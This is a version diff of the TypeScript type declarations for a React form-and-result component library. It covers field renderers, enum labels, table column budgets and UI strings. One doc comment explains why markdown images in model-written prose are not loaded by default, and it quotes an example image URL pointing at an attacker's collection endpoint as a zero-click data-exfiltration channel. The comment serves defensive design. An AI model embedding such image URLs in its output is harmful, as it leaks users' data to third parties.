@pipelex/mthds-form 0.8.0 → 0.10.0

package/dist/react/index.d.ts

@@ -1,39 +1,12 @@
+import { F as FieldEnv } from '../field-renderer-BSU2hMf6.js';
+export { a as FieldRenderer, b as FieldRendererProps } from '../field-renderer-BSU2hMf6.js';
 import * as react from 'react';
 import { ReactNode } from 'react';
-import { RunField, BooleanRunField, DateRunField, EnumRunField, FileRunField, ListRunField, NumberRunField, ObjectRunField, ProseRunField, TextRunField, UnknownRunField, ConceptCategory } from '../core/descriptor.js';
+import { BooleanRunField, DateRunField, EnumRunField, FileRunField, ListRunField, NumberRunField, ObjectRunField, ProseRunField, TextRunField, UnknownRunField, RunField, ConceptCategory } from '../core/descriptor.js';
 import { HtmlContentView } from '../core/native-content.js';
 import '../core/contracts.js';
 import 'mthds/protocol';
-
-/**
- * Ambient state that any field in the tree may need, threaded unchanged through
- * the recursion so containers don't have to re-plumb it for every child.
- */
-interface FieldEnv {
-    disabled?: boolean;
-    /** A file field asks its parent to upload; the parent sets the value later. */
-    onDropFile?: (id: string, file: File) => void;
-    /** Ids currently mid-upload. */
-    uploadingIds?: ReadonlySet<string>;
-    /** Resolve a `pipelex-storage://` URI to a browser-viewable URL (for previews
-     *  of already-stored files). */
-    resolveUrl?: (uri: string) => Promise<string | null>;
-}
-interface FieldRendererProps {
-    field: RunField;
-    value: unknown;
-    onChange: (value: unknown) => void;
-    /** Unique, stable id used for label linkage and upload tracking. */
-    id: string;
-    error?: string;
-    env?: FieldEnv;
-}
-/**
- * The single dispatch point: a normalized `RunField` → the matching control.
- * Object and list fields recurse back through here, so the whole form is one
- * data-driven tree with no per-type branching anywhere else.
- */
-declare function FieldRenderer({ field, value, onChange, id, error, env }: FieldRendererProps): react.JSX.Element;
+import '../core/file-formats.js';
 
 interface BooleanFieldProps {
     field: BooleanRunField;
@@ -76,6 +49,14 @@ interface EnumFieldProps {
  * Pick-one. A short option set (≤4, each label brief) renders as a segmented
  * control - every choice visible at a glance - and falls back to a select once
  * the set grows past what fits on a row.
+ *
+ * An option's LABEL follows the presentation and its value does not. In `app`
+ * a person picks "Unit price differs from po" and the form stores
+ * `unit_price_differs_from_po`, because the result that run produces shows the
+ * same field in words too, and a form and its result have to read the same
+ * way - which is why both apply one rule, including its fallback to the codes
+ * when two options would read the same. The segmented rule measures the label
+ * it shows, which is the text that has to fit on the row.
  */
 declare function EnumField({ field, value, onChange, id, error, disabled }: EnumFieldProps): react.JSX.Element;
 
@@ -385,11 +366,44 @@ type ResolveUrl = (url: string) => string | undefined;
  * storage is public anyway.
  */
 type ResolveShareUrl = (url: string) => Promise<string | undefined>;
+/**
+ * What a `prose` value's markdown images do — and the default is not to load
+ * them.
+ *
+ * A prose value is MODEL OUTPUT, and `![](https://attacker/collect?…)` in it is
+ * a request the browser makes the moment the result is painted, before anyone
+ * has read a word. Nothing was clicked and nothing was consented to, so the
+ * exfiltration channel is open by default in a view whose whole content is
+ * untrusted. `'link'` closes it: the image renders as a link carrying its alt
+ * text, so nothing the model wrote is lost and the fetch waits for a click.
+ *
+ * `'load'` is the opt-in, for a host that knows where its prose images come
+ * from — a method that composes a report out of its own stored figures, say.
+ * Only `http:` and `https:` are ever painted or linked either way.
+ */
+type ProseImages = 'link' | 'load';
 interface ResultEnv {
     resolveUrl?: ResolveUrl;
     resolveShareUrl?: ResolveShareUrl;
+    proseImages?: ProseImages;
+    /**
+     * How many data columns a table of records shows. Five when unset.
+     *
+     * A record with more fields than this keeps the columns a reader decides on —
+     * its name first, then the values that fit a cell whole — and the rest move
+     * into the row's detail, one click away. The columns shown keep the order the
+     * method's author wrote them in. A record within the budget shows every field.
+     *
+     * It is a COUNT rather than a width the view measures, and that is the point:
+     * a count renders the same table on a server, in a test and in a browser,
+     * where a measured budget would change the table's shape after hydration, and
+     * differently from one host to the next. A host that knows its panel is wide
+     * raises it; `Infinity` shows every column. A value below one reads as one,
+     * which is the record's name alone.
+     */
+    tableColumns?: number;
 }
-declare function ResultEnvProvider({ resolveUrl, resolveShareUrl, children, }: ResultEnv & {
+declare function ResultEnvProvider({ resolveUrl, resolveShareUrl, proseImages, tableColumns, children, }: ResultEnv & {
     children: ReactNode;
 }): react.JSX.Element;
 /**
@@ -398,14 +412,17 @@ declare function ResultEnvProvider({ resolveUrl, resolveShareUrl, children, }: R
  * Every file arm calls this rather than reading the context and remembering to
  * apply it: `useResolvedUrl(url)` is the URL to actually use, and a component
  * that forgets to call it is the bug this shape prevents. An unresolvable
- * reference comes back as the reference, so the arms' existing
- * `isViewableUrl` check still decides whether it can be linked or only named.
+ * reference comes back as the reference, so the arms' own `viewableUrl` check
+ * still decides whether it can be linked or only named — and, when it can, what
+ * string they use.
  */
 declare function useResolvedUrl(url: string): string;
 /** For the non-React readers that need the same answer (previewability). */
 declare function useResolveUrl(): ResolveUrl | undefined;
 /** The share-URL minter, when the host supplies one. */
 declare function useResolveShareUrl(): ResolveShareUrl | undefined;
+/** The prose-image policy, defaulted to the safe answer for a host that stated none. */
+declare function useProseImages(): ProseImages;
 
 interface HtmlPreviewProps {
     content: HtmlContentView;
@@ -431,8 +448,14 @@ declare function HtmlPreview({ content, maxHeight, imgSrc, }: HtmlPreviewProps):
 interface MarkdownProps {
     text: string;
     className?: string;
+    /**
+     * What an image in this text does. Defaults to the surrounding
+     * `ResultEnvProvider`'s `proseImages`, and to `'link'` outside one — see
+     * {@link ProseImages} for why the default is not to load.
+     */
+    proseImages?: ProseImages;
 }
-declare function Markdown({ text, className }: MarkdownProps): react.JSX.Element;
+declare function Markdown({ text, className, proseImages }: MarkdownProps): react.JSX.Element;
 
 interface FieldShellProps {
     name: string;
@@ -502,12 +525,41 @@ interface FieldStrings {
     itemsCount: (count: number) => string;
     /** The same badge for a list the method gave an exact count (`Concept[N]`). */
     itemsCountOf: (count: number, total: number) => string;
+    /** What a record's table cell says when none of its fields can name it. */
+    fieldsCount: (count: number) => string;
     uploading: string;
     dropToUpload: string;
     dropOrBrowse: string;
     pasteUrlInstead: string;
+    /**
+     * The placeholder in the URL a person may paste instead of uploading. It names
+     * the web's own scheme only: a host whose runner also takes its own storage
+     * references can say so by overriding it, and no default shows an end user a
+     * platform's storage scheme.
+     */
     urlPlaceholder: string;
+    /**
+     * The accessible name of that URL input, given the field's label as the form
+     * shows it. The field's label is bound to the file input, so without this the
+     * placeholder was the only thing a screen reader announced here.
+     *
+     * The label is EMPTY inside a list row: the list drops each row's label, and
+     * the row number it shows instead is a bare glyph tied to no control. So every
+     * row's input currently carries the same generic name, and giving rows
+     * distinct names is a separate piece of work on the list control.
+     */
+    fileUrlAria: (label: string) => string;
+    /**
+     * The title of an attached file's card when the value carries no filename.
+     * True of a pasted link as well as of an upload, which "Uploaded file" was not.
+     */
     uploadedFile: string;
+    /**
+     * What names a file carried INSIDE its own URL (a `data:` URL), where a
+     * reference would otherwise be printed: its format and its decoded size. The
+     * string itself is forty thousand characters of base64 and says nothing.
+     */
+    encodedFileSummary: (format: string, bytes: number) => string;
     preview: string;
     removeFileAria: string;
     previewUnavailablePdf: string;
@@ -554,10 +606,11 @@ interface FieldStrings {
     no: string;
     /**
      * Shown when a picked file is not a format this slot accepts. Takes the
-     * accept label so the message names what WOULD have worked - "not accepted"
-     * on its own leaves the user guessing at the list they just failed.
+     * slot's own formats as the hint names them (`PNG, JPG`), after any narrowing
+     * a host applied, so the message names what WOULD have worked - "not
+     * accepted" on its own leaves the user guessing at the list they just failed.
      */
-    unsupportedFileType: (accept: string) => string;
+    unsupportedFileType: (formats: string) => string;
     /** The optional-entries disclosure ("field" inside a concept, "input" at top level). */
     hideOptionalFields: string;
     hideOptionalInputs: string;
@@ -592,19 +645,28 @@ declare function FieldDomIdProvider({ prefix, children, }: {
 declare function useFieldDomId(path: string): string;
 
 /**
- * How a field's LABEL chrome should read. The control itself never changes.
+ * How a field's LABEL chrome, and the enum values a person reads, should read.
+ * What a control stores never changes.
  *
  * - `studio` (default): the field's name verbatim in mono, with its concept
  *   pill. The name IS the identifier a builder writes in the `.mthds` file, so
- *   showing it exactly - and typed - is the point.
+ *   showing it exactly - and typed - is the point. An enum value is shown as its
+ *   code for the same reason: it has to match the bundle and the JSON the
+ *   builder reads next.
  * - `app`: the field's name as a human question in sans, no concept pill. Inside
  *   a method app, `full_name` and `native.Text` are implementation detail; the
- *   person filling the form has never seen the method's source.
+ *   person filling the form has never seen the method's source. An enum value
+ *   follows the label and reads as words.
+ *
+ * An enum value is the only value the two presentations show differently. A
+ * number, a text, a date and every other value render the same in both.
  *
  * Deliberately a context rather than a prop or a `FieldEnv` flag: only the
- * components that own label chrome read it - `FieldShell`, `ObjectField`,
- * `BooleanField` and `ListField` - and threading a prop would have meant
- * editing every field control and both recursive containers.
+ * components that own label chrome or an enum value's wording read it -
+ * `FieldShell`, `ObjectField`, `BooleanField`, `ListField`, `EnumField` and the
+ * result view - plus the file control, whose card hides a storage reference in
+ * `app`, and threading a prop would have meant editing every field control and
+ * both recursive containers.
  */
 type FieldPresentation = 'studio' | 'app';
 declare function FieldPresentationProvider({ presentation, children, }: {
@@ -621,4 +683,4 @@ declare function useFieldPresentation(): FieldPresentation;
  */
 declare function humanizeFieldName(name: string): string;
 
-export { BooleanField, ConceptPill, DEFAULT_FIELD_STRINGS, DateField, DocumentField, EnumField, FieldDomIdProvider, type FieldEnv, type FieldPresentation, FieldPresentationProvider, FieldRenderer, type FieldRendererProps, FieldShell, type FieldStrings, FieldStringsProvider, type FileValue, HtmlPreview, type HtmlPreviewProps, ImageField, JsonView, ListField, Markdown, type MarkdownProps, NumberField, ObjectField, OptionalToggle, ProseField, type ResolveForDownload, type ResolveShareUrl, type ResolveUrl, ResultEnvProvider, ResultField, type ResultFieldProps, StuffViewer, type StuffViewerProps, type StuffViewerView, TextField, UnknownField, downloadStuff, fieldControlClass, humanizeFieldName, useFieldDomId, useFieldPresentation, useFieldStrings, useResolveShareUrl, useResolveUrl, useResolvedUrl };
+export { BooleanField, ConceptPill, DEFAULT_FIELD_STRINGS, DateField, DocumentField, EnumField, FieldDomIdProvider, FieldEnv, type FieldPresentation, FieldPresentationProvider, FieldShell, type FieldStrings, FieldStringsProvider, type FileValue, HtmlPreview, type HtmlPreviewProps, ImageField, JsonView, ListField, Markdown, type MarkdownProps, NumberField, ObjectField, OptionalToggle, ProseField, type ProseImages, type ResolveForDownload, type ResolveShareUrl, type ResolveUrl, ResultEnvProvider, ResultField, type ResultFieldProps, StuffViewer, type StuffViewerProps, type StuffViewerView, TextField, UnknownField, downloadStuff, fieldControlClass, humanizeFieldName, useFieldDomId, useFieldPresentation, useFieldStrings, useProseImages, useResolveShareUrl, useResolveUrl, useResolvedUrl };